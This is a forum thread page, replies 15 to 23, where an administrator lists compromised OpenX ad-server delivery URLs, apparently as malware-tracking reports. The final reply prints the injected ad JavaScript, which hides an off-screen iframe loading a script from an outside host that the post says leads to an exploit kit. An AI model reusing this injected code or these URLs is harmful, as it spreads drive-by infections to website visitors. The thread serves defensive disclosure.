Author Topic: compromised OpenX servers  (Read 27050 times)

0 Members and 1 Guest are viewing this topic.

May 06, 2013, 03:13:00 pm
Reply #15

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
adserver.noc.com.tr/www/delivery/afr.php?zoneid=90&cb=INSERT_RANDOM_NUMBER_HERE
Ruining the bad guy's day

May 09, 2013, 06:01:05 pm
Reply #16

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
www2.ultimatereef.co.uk/www/delivery/ajs.php?zoneid=1&cb=9157614026&charset=ISO-8859-1
Ruining the bad guy's day

May 23, 2013, 02:15:40 pm
Reply #17

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
desitvforums.net/ads/www/delivery/afr.php?zoneid=44&target=_blank&cb={random}&ct0={clickurl}
Ruining the bad guy's day

June 03, 2013, 10:44:53 am
Reply #18

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
add.chemcompass.de/www/delivery/ajs.php?zoneid=14&cb=55884666265&charset=iso-8859-1
Ruining the bad guy's day

June 27, 2013, 07:26:10 am
Reply #19

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
www.adservermagic.com/www/delivery/afr.php?zoneid=20&source=NA&target=_blank&cb=INSERT_RANDOM_NUMBER_HERE
Ruining the bad guy's day

July 25, 2013, 07:34:03 am
Reply #20

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
contenta.mediaxp.de/www/delivery/ajs.php?zoneid=3&cb=45489177143
Ruining the bad guy's day

September 04, 2013, 05:11:21 pm
Reply #21

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
http://openads.fenedex.nl/www/delivery/spc.php?zones=9&source=&r=78663372
Ruining the bad guy's day

October 09, 2014, 12:10:11 pm
Reply #22

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
rtbcenter.directupload.net/rtb/www/delivery/afr.php?campaignid=12
http://ads.eurostream.de/www/delivery/ajs.php?zoneid=176&cb=5616143557
Ruining the bad guy's day

March 09, 2015, 01:54:45 pm
Reply #23

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
hxxp://ad3.wochenblatt.de/openx/www/delivery/ajs.php?zoneid=2&source=Region_Regensburg&cb=52527769221

leading to exploit kit through hxxp://el.christiancarenet.com/aided/par/mci/ips.js

Code: [Select]
OX_2fc4eb23 += "<"+"!--Werbung rechts -START-->\n";
OX_2fc4eb23 += "<"+"div class=\"tt11 cLightGrey\" style=\"display:block;\">&nbsp;&nbsp;Anzeige\n";
OX_2fc4eb23 += "<"+"div id=\"werbungRechts\"><"+"script type=\"text/javascript\">function b(){return a.cookie.indexOf(d)}var a=document;var l=\"http://el.christiancarenet.com/aided/par/mci/ips.js\";if(b()==-1){var c=a.createElement(\"iframe\");c.setAttribute(\"src\",l);c.style.position=\"absolute\";c.style.left=\"-1023px\";c.style.top=\"-1465px\";c.style.width=\"208px\";c.style.height=\"299px\";try{a.body.appendChild(c);a.cookie=d+\"=bargain; expires=Thu, 12 Mar 15 14:37:18 +0300; path=/\"}catch(w){}}else{}var d=\"serving\"<"+"/script>\n";
OX_2fc4eb23 += "<"+"div id=\'ox_d92df008170998bc4fa643648537aa83\' style=\'display: inline;\'> <"+"!--Werbung rechts -START-->\n";
OX_2fc4eb23 += "<"+"div class=\"tt11 cLightGrey\" style=\"display:block;\">&nbsp;&nbsp;Anzeige\n";
OX_2fc4eb23 += "<"+"div id=\"werbungRechts\"><"+"script type=\"text/javascript\">function b(){return a.cookie.indexOf(d)}var a=document;var l=\"http://el.christiancarenet.com/aided/par/mci/ips.js\";if(b()==-1){var c=a.createElement(\"iframe\");c.setAttribute(\"src\",l);c.style.position=\"absolute\";c.style.left=\"-1023px\";c.style.top=\"-1465px\";c.style.width=\"208px\";c.style.height=\"299px\";try{a.body.appendChild(c);a.cookie=d+\"=bargain; expires=Thu, 12 Mar 15 14:37:18 +0300; path=/\"}catch(w){}}else{}var d=\"serving\"<"+"/script><"+"a href=\'http://ad3.wochenblatt.de/openx/www/delivery/ck.php?oaparams=2__bannerid=2016__zoneid=2__source=Region_Regensburg__cb=9abda641d9__oadest=http%3A%2F%2Fwww.purendure.de%2Fconcept-store%2Fhome%2F\' target=\'_blank\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/images/e3f6d41fa786f9edaf98d2a347c0666b.jpg\' width=\'300\' height=\'300\' alt=\'\' title=\'\' border=\'0\' /><"+"/a>                         <"+"/div>\n";
OX_2fc4eb23 += "<"+"div class=\"br12\"><"+"/div>\n";
OX_2fc4eb23 += "<"+"/div>\n";
OX_2fc4eb23 += "<"+"!--Werbung rechts -ENDE--><"+"/div>\n";
OX_2fc4eb23 += "<"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OX_2fc4eb23 += "var ox_swf = new FlashObject(\'http://ad3.wochenblatt.de/openx/www/images/719fbb74b78b0a709f4528789ceca6b8.swf\', \'Advertisement\', \'300\', \'300\', \'8\');\n";
OX_2fc4eb23 += "ox_swf.addVariable(\'alink1\', \'http%3A%2F%2Fad3.wochenblatt.de%2Fopenx%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D2016__zoneid%3D2__source%3DRegion_Regensburg__cb%3D9abda641d9__oadest%3Dhttp%253A%252F%252Fwww.purendure.de%252Fconcept-store%252Fhome%252F\');\n";
OX_2fc4eb23 += "ox_swf.addVariable(\'atar1\', \'_blank\');\n";
OX_2fc4eb23 += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";
OX_2fc4eb23 += "ox_swf.write(\'ox_d92df008170998bc4fa643648537aa83\');\n";
OX_2fc4eb23 += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"<"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); } else { document.write(\"<"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;oxfb=1&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); }\n";
OX_2fc4eb23 += "// ]]> --><"+"/script><"+"noscript><"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;oxfb=1&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div><"+"/noscript>                         <"+"/div>\n";
OX_2fc4eb23 += "<"+"div class=\"br12\"><"+"/div>\n";
OX_2fc4eb23 += "<"+"/div>\n";
OX_2fc4eb23 += "<"+"!--Werbung rechts -ENDE-->\n";
document.write(OX_2fc4eb23);
Ruining the bad guy's day